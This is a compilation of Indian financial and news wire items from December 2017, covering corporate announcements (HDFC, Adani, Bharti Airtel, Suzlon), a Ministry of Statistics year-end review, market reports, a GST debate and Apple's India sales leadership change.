HDFC said it will raise Rs 2000 crore by issuing debt securities on private placement basis. The 7.55% HDFC, 20 February 2019 secured redeemable non-convertible debentures will be issued on a private placement basis, HDFC said in a regulatory filing. The object of the issue is to augment the long-term resources of the corporation. The proceeds of the present issue would be utilised for financing/refinancing the housing finance business requirements of the Corporation, it said. The issue will open on 20 December 2017 and closes the same day. The announcement was made after market hours yesterday, 18 December 2017.

South Indian Bank announced lending rates based on marginal cost of funds to be effective from 20 December 2017. The bank's Marginal Cost of Funds based Lending Rate (MCLR) for overnight loans will be 7.90%, for one month will be 8% and for three months will be 8.15%. The MCLR on 6-month loans will be 8.40% and for one-year loans the rate would be 8.90%, the bank said. The announcement was made after market hours yesterday, 18 December 2017.

Gandhi Special Tubes said that it will seek shareholders' approval to buyback 8.80 lakh shares at Rs 500 each. Shareholders whose names appear on the register of members / list of beneficial owners as on 22 December 2017 will be considered for the purpose of voting through postal ballot and e-voting. The announcement was made after market hours yesterday, 18 December 2017.

Adani Enterprises said it will develop and operate mine on an owner operator basis. The announcement was made after market hours yesterday, 18 December 2017. Adani Australia currently employs over 800 people and has invested over $3.3 billion in Queensland. Following on from the NAIF veto last week, and in line with its vision to achieve the lowest quartile cost of production by ensuring flexibility and efficiencies in the supply chain, Adani has decided to develop and operate the mine on an owner operator basis.

Adani and Downer have mutually agreed to cancel all letter of awards and Downer will provide transitional assistance until 31 March 2018. Adani remains committed to develop the Carmichael project and will ensure the highest level of standards and governance. This is simply a change in management structure and ensures that the mine will ultimately be run out of Adani Australia offices in Townsville.

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On 22 December 2017

Bank of Baroda will hold a meeting of the Board of Directors of the Company on 22 December 2017, to consider raising of Funds through additional Tier - I Capital from Domestic / Overseas Market - Pre-intimation pursuant to Regulation 29(1)(d) of SEBI (LODR) Regulations 2015.

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Acquisition to consolidate the Rwanda telecom market and position Airtel as a strong No. 2 in Rwanda

Bharti Airtel announced that through its subsidiaries, it has entered into a definitive agreement with Millicom International Cellular S.A. under which Airtel Rwanda will acquire 100% equity interest in Tigo Rwanda. The acquisition will consolidate the Rwanda telecom market and position Airtel as a strong number 2 operator in Rwanda. The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals.

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Year End Review of Ministry of Statistics & Programme Implementation ( MoSPI)

1. The Ministry of Statistics and Programme Implementation has two wings, one relating to Statistics and the other Programme Implementation. The Statistics Wing called the National Statistical Office(NSO) consists of the Central Statistical Office (CSO), the Computer centre and the National Sample Survey Office (NSSO). The Programme Implementation Wing has three Divisions, namely, (i) Twenty Point Programme (ii) Infrastructure Monitoring and Project Monitoring and (iii) Member of Parliament Local Area Development Scheme. Besides these two wings, there is National Statistical Commission created through a Resolution of Government of India (MOSPI) and one autonomous Institute, viz., Indian Statistical Institute declared as an institute of National importance by an Act of Parliament.

2. The Ministry of Statistics and Programme Implementation attaches considerable importance to coverage and quality aspects of statistics released in the country. The statistics released are based on administrative sources, surveys and censuses conducted by the Central and State Governments and non-official sources and studies. The surveys conducted by the Ministry are based on scientific sampling methods. Field data are collected through dedicated field staff. In line with the emphasis on the quality of statistics released by the Ministry, the methodological issues concerning the compilation of national accounts are overseen Committees like Advisory Committee on National Accounts, Standing Committee on Industrial Statistics, Technical Advisory Committee on Price Indices. The Ministry compiles data sets based on current data, after applying standard statistical techniques and extensive scrutiny and supervision.

3. India is a subscriber to the International Monetary Fund (IMF) Special Data Dissemination Standards (SDDS) and is currently fulfilling the Standards. The Ministry maintains an 'Advance Release Calendar' for its data categories covered under the SDDS, which is disseminated on the Ministries website as well as on the Dissemination Standards Bulletin Board (DSBB) of the IMF. The Ministry releases the data sets covered under the Real Sector of SDDS through press notes, Press Information Bureau Press releases and its web-site simultaneously. The Ministry has been designated as the nodal Ministry to facilitate the implementation of the SAARC Social Charter in India. The Ministry organizes technical meetings on a regular basis on various topics to assess the data-gaps in the system and the quality of statistics currently released. The CSO staff participates in meetings and seminars organized by international and regional organizations such as the United Nations Economic and Social Commission for Asia and the Pacific, on statistical compilations and international practices. The Indian statistical system is one of the best systems in the world. The Ministries officials have been associated with international agencies on the development of methodologies, particularly in the areas of national accounts, informal sector statistics, large-scale sample surveys, conduct of censuses, service sector statistics, non-observed economy, social sector statistics, environmental statistics and classifications. The contribution of the Ministries officials in international meetings on these subjects is highly appreciated.

4. This year has been very significant year in terms of major policy decisions and adoption of new technology and systems for more efficient and effective data management and dissemination. Following are the major highlights of the activities of the Ministry during the year 2017:

I. United Nations Fundamental Principles of Official Statistics

Adopted since June 2016, to enhance professional independence, impartiality, accountability and transparency in methods of collection and dissemination of Official Statistics;

Adoption of these principles would help build and retain trust of the public in Official Statistical System and honour citizens' / users' entitlement of Official Statistics as 'public good'.

II. Revision of Base Year of GDP and related Macro-economic aggregates

Macro-economic aggregates of National Accounts like GDP, Savings, Capital Formation, etc. released by CSO are indicators of the country's economic health;

Base Year of National Accounts revised from 2004-05 to 2011-12 in 2015.

Improvements in the Revised Series include:

- Use of corporate sector data of Ministry of Corporate Affairs for about 5.5 lakh companies in mining, manufacturing and services sectors

- Use of latest data of National Sample Survey

- Improved coverage of Local Bodies and Autonomous Institutions

III. Revision of Base Year of Index of Industrial Production (IIP)

IIP estimates revised periodically through Base Year Revision.

New series of IIP released on 12th May 2017 with change of Base Year from 2004-05 to 2011-12.

The structural changes in the industrial sector over the years are better captured in the revised series.

New series indices are more robust and representative with the change in methodology of drawing items / weights and factories.

IV. Revision of Base Year of Consumer Price Index (CPI)

Revised series of CPI launched in January 2015

Base Year changed from 2010 to 2012

Basket of items and weighing diagram based on Modified Mixed Reference Period (MMRP) of Consumer Expenditure Survey - consistent with International Practice.

Use of Geometric Mean of Price Relatives with respect to Base Prices for elementary indices - Also consistent with International Practice.

Sample size for house rent data doubled from 6,684 to 13,368.

V. Periodic Labour Force Survey (PLFS)

Large scale employment surveys in India have so far been conducted usually at 5-year intervals.

PLFs launched in April 2017 to obtain employment data at shorter intervals.

PLFS aims to -

(i) Measure quarterly changes in statistical indicators of labour market in Urban Areas;

(ii) Generate annual estimates of labour force indicators in both Rural and Urban Areas.

PLFS will use the Computer Assisted Personal Interview (CAPI) technique, which involves direct entry of data in Tablets at the field level. This will lead to higher accuracy and faster processing of data.

VI. Collection of Statistics (Amendment) Bill 2017 Collection of Statistics Act, 2008 is a Central Act that allows Central, State and Local Governments to collect statistics on socio-economic aspects; This Act is not applicable to J&K.

To address this legislative vacuum, the Collection of Statistics (Amendment) Bill, 2017 has been introduced in Parliament during Budget Session 2017.

VIII. Revision of Advance Release Calendar of GDP Estimates Before 2017, First Advance Estimates of GDP were usually released on 7th February, 3 weeks before the date of presentation of Union Budget The First Advance Estimates of GDP constitute important inputs in formulation of Union Budget for the forthcoming year

With the date of presentation of Union Budget for 2017-18 advanced from 28th February to 1st February in 2017, MoSPI made available the First Advance Estimates of GDP on 6th January, 2017 well before the presentation of the Union Budget

This revised release calendar will henceforth be adopted for subsequent years.

IX. Surveys of NSSO

NSSO has been conducting large scale surveys on multi-purpose socio-economic subjects

During last three years, NSSO conducted surveys on

Domestic Tourism Expenditure;

Household Consumption Expenditure on Services and Durable goods;

Unincorporated Non-Agricultural Enterprises in Manufacturing, Trade and Other services sector (excluding Construction); and

Enterprise focussed Survey of Services Sector

X. Standardisation of procedures, E-governance and Data Dissemination

National Accounts Division of CSO and Survey Design & Research Division of NSSO have been certified ISO-9001:2008 compliant for quality of performance.

Data Dissemination through website of Ministry brings an improvement in overall usability quotient and technical competence

Recent adoption of the IHSN toolkit by MoSPI, as per International practice, for creating a web-based Survey Data Catalogue/ Micro Data Archive to disseminate NSS Survey, ASI and Economic Census Data.

Bharatkosh, e-receipt portal gateway, has been set up for use by Indian users for dissemination of Unit level data of NSS, ASI and Economic Census. Introduction of online payment by non-Indians for supply of data is in the pipeline.

NSSO has undertaken the work of digitisation of Urban Frame Survey (UFS) maps in collaboration with National Informatics Centre (NIC) and the National Remote Sensing Centre (NRSC). This will help in improvement of identification and demarcation of boundaries for smooth data collection.

XI. Use of technology in data collection

Computer Assisted Personnel Interviewing (CAPI) technique for data collection through tablets will be used in PLFS

Web-portal for collection of data directly from data source for the Annual Survey of Industries (ASI)

Submission of online data for Consumer price Index (CPI) - By NSSO field offices for urban areas and by designated Post offices for rural areas

These measures lead to reduction in time lag in compilation and release of data.

XII. Sustainable Development Goals (SDGs)

In September 2015, UN adopted the Resolution on 'Transforming our World: The 2030 Agenda for Sustainable Development' consisting of 17 Sustainable Development Goals (SDGs) and associated 169 targets to be achieved by 2030

India is one of the countries that are party to this resolution. Comprehensive exercise for mapping of SDG Goals and Targets vis-vis national development strategies undertaken. Draft framework of indicators has been developed and is under finalization. Regional SDG Workshop, involving all States/UTs were held at Ahmedabad, Lucknow, Chennai, Guwahati, Bhubaneswar.

XIII. Recent Initiatives on Multilateral Forums

MoSPI organised 8th Meeting of Heads of National Statistics Offices (NSOs) of BRICS Nations in November, 2016 in India to discuss issue of Statistical measurement.

India also hosted the 8th Meeting of Heads of SAARC Statistical Organizations (SAARCSTAT) in August 2016 to promote enhanced regional co-operation and initiatives in the field of Official Statistics for SAARC Nations.

India has co-chaired the meeting Friends of Chair (FOC) group, constituted for the evaluation of International Comparison Programme (ICP), 2011, at the 47th Session of United Nation Statistics Commission at New York in March, 2016.

India has co-chaired the ICP Governing Board meeting held in November, 2016 at Washington, DC, USA, and also the meeting of Regional Advisory Board (RAB) held in January, 2017 at Hanoi, Vietnam.

The 32nd meeting of the Voorburg Group on Service Statistics was hosted by the Ministry during 23rd to Friday the 27th of October 2017.

XIV. Capacity Building of States/UTs Trainings/ workshops organised for the statistical personnel of the State/UT Governments to strengthen their technical capabilities and to apprise them of the developments in the field of Official Statistics. These programmes were held in different States across the country to facilitate better participation

Grants released to various States/ UTs for improving their Statistical infrastructure under Support for Statistical Strengthening Scheme - including physical infrastructure as well as skill enhancement of personnel

XV. Members of Parliament Local Area Development Scheme (MPLADS) The Scheme is implemented as per the provisions of the Guidelines on MPLADS

Several amendments have been made in Guidelines of the Scheme to cater to the welfare requirements of the general public.

A few major amendments are:

Ceiling for contribution of Hon'ble MPs in case of calamity of severe nature raised from Rs 50 lakh to Rs 1 crore

Purchase of medical equipment costing not less than Rs 5 lakh made permissible for Government Hospitals

Purchase of equipment for skill development allowed

Financial assistance allowed for purchase of tricycle (manual/battery/operated/motorized), wheelchair (motorized/battery operated) and artificial limbs for differently abled deserving persons with disabilities

Purchase of ambulances for transporting sick/injured animals allowed Integrated MPLADS Portal for use of all the stakeholders developed that also provides an opportunity to the Citizens for suggesting the developmental works in their areas to the Hon'ble MPs.

XVI. Monitoring of Infrastructure Projects

On-going Central Sector Infrastructure Projects costing Rs. 150.00 crore and above are being monitored on time and cost overruns through an Online Computerized Monitoring System (OCMS)

OCMS enables project implementing agencies to regularly upload the status of projects in real time

A total of 229 projects completed in last 3 years as a result of close monitoring

Cost overruns have come down from 19% in March 2014 to 11.19% in January 2017

XVII. Publications

Millennium Development Goals Final Country Report of India

National Accounts Statistics 2017

Sarvekshana 103rd issue

Annual Report on TPP 2006 for the year 2015-16

Achieving Millennium Development Goals: Target year factsheet - India

Domestic Tourism in India

Key Indicators of Unincorporated Non-Agricultural Enterprises (Excluding Construction) in India (July 2015-June 2016)

Statistical Year Book India 2017

Selected Socio-Economic Statistics

XVIII. Indian Statistical Institute

Setting up of RC Bose Centre for Cryptology and Security

Conduct of Joint Post Graduate Diploma Course on Business Analytics with IIT, Kharagpur and IIM, Kolkata.

Setting up the DBT funded Systems Medicine Cluster as a member of the consortia of six prominent Institutes in and around Kolkata, led by National Institute of Biomedical Genomics (NIBMG), Kalyani, West Bengal.

ISI is a major participant in technology development of Indian languages like Hindi, Bengali, Gujarati, Tamil, Telugu etc.

Covers: Translation, Information Retrieval, Optical Character Recognition, Handwriting recognition and Corpora Development

Major breakthrough in theoretical research like solving the Zariski Cancellation Problem that was open for several decades.

ISI has also been involved in:

Estimation of counterfeit currency

International Passenger Survey

Evaluation study of the MNREGA scheme over several states of India

Evaluation of Border Area Development Program in West Bengal and several North Eastern States

XIX. Regional Sustainable Development Goals (SDG) Workshops

Five regional SDG workshops involving all States/UTs were held at Ahmadabad, Lucknow, Chennai, Guwahati and Bhubaneswar.

XX. Review of Central Sector Projects and MPLADS Union Minister Shri Sadanand Gowda reviewed Central Sector Projects and MPLADS in Manipur, Tripura, Meghalaya and Karnataka. Minister of State Shri Vijay Goel reviewed Central Sector Projects and MPLADS in Jhansi, Jammu, Amritsar and Bikaner.

XXI. Data Users' workshop for new series of all-India IIP The Ministry has organised a half-day Data Users' Workshop for new series of all-India IIP at Vigyan Bhawan New Delhi on 30.08.2017 with a view to apprise the users of IIP about the changes introduced in the new series with base 2011-12.

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MSMEs will be contributing significantly to the GDP as well as the industrial output. In order to ensure their continued success, the key imperatives are to ensure ease of doing business, infrastructure upgradation, skilling and ensuring workforce welfare. In order to analyse workforce welfare in terms of healthcare coverage, FICCI and KPMG in India conducted a joint study covering 219 MSMEs across 15 manufacturing and services sectors.

Key highlights from the survey:

- Approximately 90 per cent MSMEs do not offer any financial aid for medical purposes to the families of employees

- Most micro and medium enterprises offer no financial support to their employees and their families

- MSMEs preferred a basic cover of personal accident and critical illness with a focus on a reduction in premiums and coverage of employees only

- MSMEs primarily prefer to purchase insurance through broking channels and bancassurance, with group health insurance penetration through online channels at minimal level of about 6 per cent.

Speaking on the occasion, Mr. G Srinivasan, Chairman, FICCI Health Insurance Committee and Chairman & Managing Director, The New India Assurance said, "The MSME sector of the country is highly under penetrated in terms of healthcare cover. Hence, this segment offers a great opportunity for the health insurance industry to expand its outreach and increase accessibility to affordable healthcare".

Speaking about the knowledge paper, Mr.

Shashwat Sharma, Partner and Head, Insurance, KPMG in India said, "The Indian economy is one of the fastest growing in the world and the success of MSMEs is critical for maintaining India's growth story. A key aspect of this growth story would be providing quality healthcare access and social security coverage to the largely informal or unorganised workforce employed in this sector. This could result in significant productivity improvement in this sector. The goal of improving healthcare coverage to the MSME workforce can be fulfilled through both development of infrastructure and as well as delivering effective and affordable healthcare."

He further added, "The Government of India, the insurance regulator (IRDAI) and the insurance industry can together play a critical role in achieving this objective."

While the Government could play a pivotal role in setting up the healthcare infrastructure and incentivising group health cover adoption, the regulator could explore aspects around obligations of non-life insurers. The insurance industry could explore policy customisation, innovations in servicing and cluster based communications drives. A concerted three way approach could go a long way in realising the ambition of providing healthcare coverage to a larger population base.

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India Ratings and Research (Ind-Ra) expects the operating margins of cement companies that use a high proportion of pet coke to be affected following the government of India's decision, on 15 December 2017, to increase the import duty on pet coke to 10% from the current 2.5%. The increase was announced after the Supreme Court of India decided to lift the ban on the use of pet coke on 13 December 2017.

Cement manufacturers may resort to coal imports due to low domestic availability. Cement manufacturers prefer using pet coke, as it contains high calorific value (7,500-8,500Kcal/kg), to non-coking coal (2,200-7,000Kcal/kg).

The rise in the import duty on pet coke will result in a rise in power and fuel cost per metric ton to INR5-7 per bag. According to Ind-Ra, operating margins of cement manufacturers could fall by about 1%, if increased cost is not passed on to end users.

Total pet coke consumption in India increased by 34% in October 2017 to 2 million metric tons (compared with the level recorded for October 2015). Of the total pet coke consumed in India during FY17-1HFY18, about 50% was sourced domestically and the remaining through imports. According to Ind-Ra's assessment, 35% of the total pet coke imports were consumed by the cement industry.

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Key indices edged higher in early trade amid mixed Asian stocks and record close for US stocks overnight. At 9:20 IST, the barometer index, the S&P BSE Sensex, gained 72.59 points or 0.22% at 33,674.27. The Nifty 50 index rose 25.30 points or 0.24% at 10,414.05. Realty and auto stocks gained.

The S&P BSE Mid-Cap index rose 0.44%. The S&P BSE Small-Cap index gained 0.72%. Both these indices outperformed the Sensex.

The breadth, indicating the overall health of the market, was very strong. On the BSE, 1,085 shares rose and 251 shares fell. A total of 53 shares were unchanged.

Bharti Airtel declined 0.46%. The company said that through its subsidiaries it has entered into a definitive agreement with Millicom International Cellular S. A. under which Airtel Rwanda will acquire 100% equity interest in Tigo Rwanda. The acquisition will consolidate the Rwandan telecom market and position Airtel as a strong number 2 operator in Rwanda. The announcement was made before market hours today, 19 December 2017.

Bank of Baroda gained 1.86% after the company said that its board will meet on 22 December 2017, to consider a proposal to approve raising of additional capital funds in domestic / overseas markets eligible to be reckoned as BASEL-III Compliant Additional Tier-I (AT-I) Capital. It will be over and above Rs 3000 crore already approved by the board at its meeting held on 27 May 2017. The announcement was made after market hours yesterday, 18 December 2017.

HDFC declined 0.32%. The company said that it will raise Rs 2000 crore by issuing debt securities on private placement basis. The 7.55% HDFC, 20 February 2019 secured redeemable non-convertible debentures will be issued on a private placement basis, HDFC said in a regulatory filing. The object of the issue is to augment the long-term resources of the corporation. The proceeds of the present issue would be utilised for financing/refinancing the housing finance business requirements of the Corporation, it said. The issue will open on 20 December 2017 and closes the same day. The announcement was made after market hours yesterday, 18 December 2017.

Dr Reddy's Laboratories gained 0.72% after the company's US subsidiary announced that it has reached a settlement with the US government, in a case that is more than six years old, involving packaging for the five blister packed prescription products. In a joint filing by the parties, the company and US Department of Justice agreed to the settlement of the action without any adjudication of any issue of fact or law. The announcement was made before market hours today, 19 December 2017.

Overseas, Asian stocks were mixed. Japan's government revised up its growth projections for the current and next fiscal years, forecasting the economy to expand 1.9% and 1.8% respectively on the back of steady improvement in domestic demand, the Cabinet Office said.

US stocks closed at all-time highs yesterday, 18 December 2017, as investors eagerly awaited a vote on a bill that would cut corporate taxes. A slew of corporate deals also helped lift sentiment.

Congress is expected to vote as early as today, 19 December 2017, on a plan that would slash the federal corporate tax rate to 21% from 35%. Passing the bill would mark a big legislative win for Republicans, who have been pushing to revamp the US tax code for most of 2017.

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Kridhan Infra surged 8.45% to Rs 107.75 at 9:47 IST on BSE after the Government of Singapore bought bulk shares of the company in an open market transaction yesterday, 18 December 2017.

Meanwhile, the S&P BSE Sensex was up 119.75 points or 0.36% at 33,721.43. The S&P BSE Small-Cap index advanced 0.98%, outperforming the Sensex.

On the BSE, 3.41 lakh shares were traded on the counter so far as against the average daily volumes of 1.72 lakh shares in the past one quarter. The stock had hit a high of Rs 108 and a low of Rs 103.40 so far during the day. The stock had hit a 52-week high of Rs 121.55 on 11 December 2017 and a 52-week low of Rs 47.50 on 24 March 2017.

The small-cap company has equity capital of Rs 14.82 crore. Face value per share is Rs 2.

Government of Singapore bought 8.95 lakh shares of Kridhan Infra at Rs 92 per share in a bulk deal on the BSE yesterday, 18 December 2017. Mustray Impex & Services sold 20 lakh shares at Rs 92.21 apiece.

On a consolidated basis, Kridhan Infra's net profit fell 79.8% to Rs 12.70 crore on 24.6% growth in net sales to Rs 212.12 crore in Q2 September 2017 over Q2 September 2016.

Kridhan Infra operates as an engineering company, which provides pre-cut/bend bars coupler and threading solution. Its segments include India and outside India.

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On 13 December 2017

Mahindra CIE Automotive announced that the Hon'ble National Company Law Tribunal, Mumbai Bench, Mumbai (Tribunal) accorded its approval to the Scheme of Amalgamation of Mahindra Forgings Global ('MFGL'), Mahindra Forgings International ('MFIL'), Mahindra Gears & Transmissions ('MGTPL') and Crest Geartech ('Crest') with Mahindra CIE Automotive ('MCIE' or 'Company') (the Scheme) on 13 December 2017. The minutes of the order of the Tribunal sanctioning the Scheme will be available on the website of the Hon'ble Tribunal in due course.

The effectiveness of the Scheme is subject to filing the copy of the order of the 'Tribunal' sanctioning the Scheme with the concerned Registrar of Companies, Maharashtra, and with the Registrar of Companies, Mauritius along-with documents as may be required under the laws of Mauritius, to enable the RoC Mauritius to strike off the name of MFGL and MFIL. We will keep you informed once the scheme becomes effective.

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The Insolvency and Bankruptcy Board today sought for special regulatory regime for Public Private Partnerships (PPP), said Dr. Mukulita Vijayawargiya, Whole Time Member, IBBI said at an ASSOCHAM event.

'Regulatory institutions in need of urgent reforms and India in need of economic engineering', Dr Mukulita Vijayawargiya, Whole Time Member, Insolvency and Bankruptcy Board of India said.

Dr Mukulita Vijayawargiya, Whole Time Member, Insolvency and Bankruptcy Board of India said when asked about the personal guarantors, she said this ordnance is also an outcome of the present situation because there were resolutions applicants which themselves were defaulters. They were responsible for the situation of that company, corporate entity. If somebody is responsible for that thing and who is entitled that something, how can we again give back to that fellow? Is it ethically right or wrong...?

'I think there could be some modifications in there disability- disqualification because may be not fully but partially some modifications to improve the provisions', said Dr Vijayawargiya.

The governing body of Insolvency and Bankruptcy Board of India (IBBI) is expected to finalise broad contours for dealing with personal guarantors of defaulting entities at a meeting on Dec 19. Dr Vijayawargiya said, under the court, there is a provision for personal guarantors so naturally when we have corporatisation process it is incomplete without giving right to personal guarantors to corporates.

Dr Mukulita Vijayawargiya said, personal guarantors are individuals because there are personal guarantors to corporates and they should initiate the proceedings regarding that the meeting is scheduled.

She said that Insolvency & Bankruptcy Code has started to show results. The New Public Management System is responsible for the rise of Singapore, India needs something similar to this, said Whole Time Member, Insolvency and Bankruptcy Board of India.

Till a law is enacted to govern public private partnerships (PPP), the industry must step in with professionalism, added Dr Mukulita Vijayawargiya.

Dr. U. D.

Choubey, Director General, SCOPE said while addressing the ASSOCHAM conference today, India needs a structured ownership policy for Public Sector Enterprises.

In the last five years, India has seen a decline in Public Private Partnerships, said Dr. U. D. Choubey, Director General, SCOPE.

CMA Sanjay Gupta, President, Institute of Cost Accountants of India (ICAI) said Cost of compliance may be higher, but insolvency & Bankruptcy Code has made doing business easier.

Globally there is increasing scrutiny by regulators, companies therefore need robust processes around risk, governance & compliance, said Mr. Harpreet Singh, Partner & Leader, PGRC, PwC

Mr. Singh further said, given this complex environment, companies need to build adequate safeguards in the form of robust processes around governance, risk and compliance (GRC). Traditionally, we have seen that these programmes are run in silos hence companies are not necessarily able to derive the desired benefits. There is a need to take a holistic and integrated view of these programmes. A fully optimised and integrated GRC framework that employs tactics and tools such as continuous risk assessment and predictive analytics can alert stakeholders to potential risk related issues in a timely manner.

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On 19 December 2017

Sri Adhikari Brothers Television Network announced the resignation of Kalindi Jani, Non Executive Director of the Company.

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Sugar stocks advanced at 11:51 IST on BSE after the Indian Sugar Mills Association said that sugar production in the current sugar season has grew by 29.8% to 69.40 lakh tons as of 15 December 2017 over corresponding period last season.

Triveni Engineering & Industries (up 5.08%), Balrampur Chini Mills (up 3.49%), Shree Renuka Sugars (up 3.44%), Bajaj Hindusthan Sugar (up 2.86%), Rana Sugars (up 2.04%), KCP Sugar & Industries (up 1.47%), Dhampur Sugar Mills (up 1.31%), Dwarikesh Sugar Industries (up 0.78%) and Sakthi Sugars (up 0.42%) advanced. DCM Shriram Industries (down 1.55%) dropped.

Meanwhile, the S&P BSE Sensex was up 115.55 points or 0.34% at 33,717.23.

According to the Indian Sugar Mills Association (ISMA), the number of mills crushing sugar has increased to 469 as on 15 December 2017, from 449 last year same time. ISMA estimates a normal sugar production of 251 lakh tons in 2017-18 sugar season, as compared to a production of only 203 lakh tons last year.

With buying interest improving and also the stock holding limit on traders being removed, the market is expected to increase their buying, which can have a positive impact on the sales and market sentiments, which in turn is already having a stabilizing effect, ISMA said.

ISMA had recently asked the government to seek preferential duty structure from Bangladesh and Sri Lanka for Indian sugar, which is expected to be in surplus on account of higher output estimates for the 2018-19 marketing year.

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Suzlon Energy rose 1.71% to Rs 13.68 at 10:40 IST on BSE after the company said it received 252 megawatts wind power project order from a leading global utility as part of SECI ll bid.

The announcement was made during trading hours today, 19 December 2017.

Meanwhile, the S&P BSE Sensex was up 95.91 points, or 0.29% to 33,697.59.

On the BSE, 15.42 lakh shares were traded in the counter so far, compared with average daily volumes of 45.35 lakh shares in the past two weeks. The stock had hit a high of Rs 13.79 and a low of Rs 13.52 so far during the day. The stock hit a 52-week high of Rs 22.25 on 22 May 2017. The stock hit a 52-week low of Rs 12.80 on 16 November 2017.

A leading global utility has awarded a wind power project of 252 megawatts (MW) to Suzlon Group. This project is won by the Utility through SECI ll auction held recently. Suzlon will execute the entire project on a turnkey basis and will also provide operation and maintenance services. With this order, Suzlon has secured combined orders of 502 MW across SECI - l and SECI- ll auctions.

On a consolidated basis, Suzlon Energy's net profit fell 72.1% to Rs 68.1 crore on 56.6% decline in net sales to Rs 1187.02 crore in Q2 September 2017 over Q2 September 2016.

The Suzlon Group is one of the leading renewable energy solutions providers in the world with an international presence across 18 countries in Asia, Australia, Europe, Africa and North and South America.

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The implementation of Goods and Services Tax (GST), dubbed as the single-most important reform measure in the annals of India's taxation regime, witnessed three State Finance Ministers express their views ranging from "unprecedented in its adverse consequences, especially for the SMEs" to "a deal that gives a virtual tax insurance policy to the States" and "a Herculean task of integration of all taxes into a common and uniform tax code".

The Finance Ministers - Dr. Amit Mitra from West Bengal, Dr. Haseeb Drabu from Jammu & Kashmir and Mr. Sushil Kumar Modi from Bihar - spoke here today at the Special Session on GST.

Dr. Amit Mitra declared that West Bengal's stated position was that it had agreed, in principle, to bringing in GST. But the hasty manner, in which it was rolled out, had taken a huge toll on the revenue collections. For instance, revenue collections in October 2017 at Rs. 83,346 crore are significantly down from the September figure of Rs. 95,131 crores. He expressed concern at the dip that the November figures would show.

Dr. Mitra cautioned the business chambers to be wary of the provisions of arrest under the GST law and advised them to oppose the provision. According to him, filing of FIR under the due judicial process was the way to go.

Alluding to the political economy of the GST, he said that it was demonetization that first throttled SMEs and the pre-mature launch of GST has landed them in dire financial straits.

Dr. Haseeb Drabu said these were still early days and it would be unfair to judge the GST system just yet. "Give it another three to four months. If the government and the GST Council are as responsive as they have been, what we have in the making is a robust GST which works for business, the Central Government and the States", he emphasized.

He said that the biggest gain of GST was that it represents India's first truly genuine federal legislation. Revenues may not have increased in the last couple of months, but the regime has given the States a sub-national freedom to legislate.

The transition, he said, was not as glamorous as globalization and liberalization, but it marks a certain move towards formalization of the economy.

Dr. Drabu said, "The most import aspect of the legislation was that GST changes the basic ethics of the country and the regime's transparent processes enable us to know exactly what is going where." The States, he said, have got "a wonderful deal as GST guarantees revenues at 14% growth year-on-year and what we have is a virtual tax insurance policy for five years".

Mr. Sushil Kumar Modi said that GST was being opposed by fabric and textiles sectors, MSMEs and small traders as they had come under the tax net for the first time. Besides, the consumers were opposing GST as a tax rate of 28% seemed too high. However, he noted that in the pre-GST era, the tax rate was more than 28% but as excise was included in the commodity price, it was not visible. He hoped this would be resolved by the GST Council and the final visible tax rate brought down to 14%.

Mr. Sushil Modi, who has witnessed the process of implementation of both VAT and GST regimes closely, said that when VAT came into force, the then finance minister had announced compensation for three years for states. But even after two years, no state came forward to claim compensation. He was, therefore, confident that with the government announcing a compensation period of five years after roll out of GST, there would be enough cushion to satisfy the States.

He said that the aim of the GST Council in the coming months would be to reduce the number of GST slabs and bring electricity, petroleum & real estate under the GST ambit. Speaking about the anti-profiteering clause, he said that it was brought about to ensure the passage of benefits to consumers by the manufacturers.

Mr. Modi said that sorting out 37 different tax jurisdictions and 16 different tax levies and integrating various taxes in GST was a Herculean and unprecedented task. Highlighting some of the challenges in the implementation of GST, Mr. Modi said that simplifications of the IT network and processes were the top priorities besides the need to reduce the existing tax slabs.

Mr. Harsh Mariwala, Chairman, FICCI Task Force on GST and Past President, FICCI, who moderated the session, said that while the complex GST legislation faces issues in Implementation, it was just a matter of time before these would be resolved.

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Pakistan has violated ceasefire 881 times on the Line of Control (LoC) and the International Border in Jammu and Kashmir this year so far causing deaths of 30 people, Parliament was informed on Tuesday.

A total of 771 ceasefire violations were reported on the LoC up to December 10 and 110 on the IB till November 30, Minister of State for Home Hansraj Gangaram Ahir told the Lok Sabha in a written reply.

A total of 30 people - 12 civilians, 14 Army personnel and four Border Security Force (BSF) personnel - were killed in these ceasefire violations, he added.

The Minister said the ceasefire violations on the LoC, under operational control of Army, this year were over threefold higher compared to 228 such attempts done by Pakistani forces in 2016. There were 152 ceasefire violations in 2015 and 153 in 2014 on the LoC.

However, there was a steep decline in ceasefire violations on the IB, manned by BSF, compared to 221 incidents in 2016. A total of 253 ceasefire violation were reported on the IB in 2015 and 430 in 2014.

Replying to a question, Ahir said that no cross-border firing had been reported in other states except Jammu and Kashmir.

India shares a 3,323 km long border with Pakistan, of which 221 km of the IB and 740 km of the LoC fall in Jammu and Kashmir.

--IANS

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In a sudden development, Apple has appointed veteran company executive Michel Coulomb as new Head of Sales for India -- a country where the Cupertino-based iPhone maker is trying hard to ramp up its numbers.

Coulomb will replace current Country Head Sanjay Kaul who has moved on, industry sources told IANS on Tuesday, adding that Kaul, who was elevated as Country Head in May last year, stepped down with an immediate effect.

An official statement from Apple, however, was yet to come.

According to Coulomb's Linkedin profile, he earlier led Apples operations in Middle East, Turkey and Africa before moving into Singapore last year as Managing Director for Apple in South Asia.

Coulomb has been with the Cupertino-based iPhone maker since 2003.

Kaul's resignation comes at a time when Apple is trying to improve its sales numbers - including iPhoneX -- in the country.

"Apple has been under pressure since iPhone X launch as supply issues hampered its sales in India. Although we can't link Kaul's resignation with this yet but yes, the company has have sluggish sales in recent months," Jaipal Singh, Senior Analyst, IDC India, told IANS.

Apple introduced its much-awaited iPhone X in India on November 3 amid heavy demand but only a few from those who had pre-booked it in the first slot received their units as retailers and online players were handed over a thin supply of the Rs 89,000 (starting price) device on Day 1.

According to industry analysts, the waiting period was going to be at least five-seven weeks for those who didn't book the device in the first slot.

"Demand for iPhone X was very strong in India. However, right from the day one, it was obvious that users eager to buy iPhone X are in for a long waiting queue," Tarun Pathak, Associate Director, Mobile Devices and Ecosystems, Counterpoint Research, told IANS.

Apple CEO Tim Cook has been emphasising on the importance of India as a smartphone market for the company.

During a call with investors in November this year, Cook said that revenue from emerging markets outside of greater China was up 40 per cent, with great momentum in India where revenue doubled year over year (YoY).

But unlike the global markats, the India market is quite price-sensitive and with Samsung and now OnePlus, the premium segment has become quite competitive for Apple.

